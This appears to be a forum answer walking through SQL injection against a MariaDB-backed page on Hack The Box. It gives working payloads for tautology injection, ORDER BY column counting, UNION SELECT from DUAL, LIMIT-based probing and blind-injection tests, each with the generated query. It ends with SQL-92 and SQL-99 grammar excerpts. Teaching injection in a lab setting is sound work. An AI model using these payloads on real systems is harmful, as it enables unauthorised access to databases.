EDIT: This is being done on Hack The Box so no nasty illegal stuff
going on.
Ok lets have some fun then.
When i look at the error message
DEBUG INFO: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax
to use near '5' or dest like '1'') LIMIT 10'
at line 1
Iám assumming the query and code in the application is more or less like this pseudo wise, the @o
is in fact a MySQL user variable..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
I will use a SQL fiddle space to simulate a SQL injection test and more getting possible access to other tables.
You can test your injection with 1' OR 1 = 1#
or 1' OR 1 = 1--
both should work and should give you the same result when you use 1
as input.
This is because MariaDB automatic is casting the types for other databases you might need to use the more strict version 1' OR '1' = '1#
Which should generate
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Or
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Then because you see errors in the application you can use ORDER BY 1
to check how many columns are selected and increment the number until you get a error.
Error: ER_BAD_FIELD_ERROR: Unknown column '2' in 'order clause'
Inject with
1' ORDER BY 1#
or 1' ORDER BY 1--
Which means sort on the first column in the resultset NOT sort 1
literal.
Generates
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Or
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
When you know the columns you can use UNION
to get into other tables. Use NULL
if you don't need all the columns.
injection
1' UNION ALL SELECT NULL FROM DUAL#
Note that DUAL
is a "virtual" non existing table in MariaDB, MySQL and Oracle, if you can query this "table" it means you can also technically get into other tables.
generated SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
And if the webpage is designed as a "detail" page where one record is always visible you need to add a LIMIT 1, 1
in your injection.
What if there are no errors visible in the webapplication you should just be able to blindly bruteforce geuss with blind SQL injections and see how the application works.
Also try things like ?o=0
, ?o=NULL
or a very high numbers like the max INT value (Signed) ?o=2147483647
or (unsigned) ?o=4294967295
before trying to bruteforce the used column number so you know how the application handles records which can't be found.
Because it very unlikely to have id 0
or that high numbers on a INT
datatype, because the application will stop working if the last number was given.
If you still get a record with those high numbers use the max values for BIGINT
datatype instead.
For column 1 same result id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
For columns 2 which will error but mostly likely you will see a error page or a message that the record was not found.
Or a sweet HTTP 404 (Not Found) error status.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
One problem you might get when using LIMIT
without using ORDER BY
might be a chance getting the same records because the SQL standard has defined that SQL tables/resultsets are orderless without using ORDER BY
So you ideally need to keep using ORDER BY 1
in the bruteforces.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
And
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
The databases support for ORDER BY 1
is better then i was thinking at first thought as it works in MySQL, MariaDB, SQL Server (MSSQL) and PostgreSQL.
Also ORDER BY 1
was a SQL 92 feature which was removed in SQL 99.
So actually SQL databases should not execute ORDER BY 1
annymore if they would follow the SQL standards on this point.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC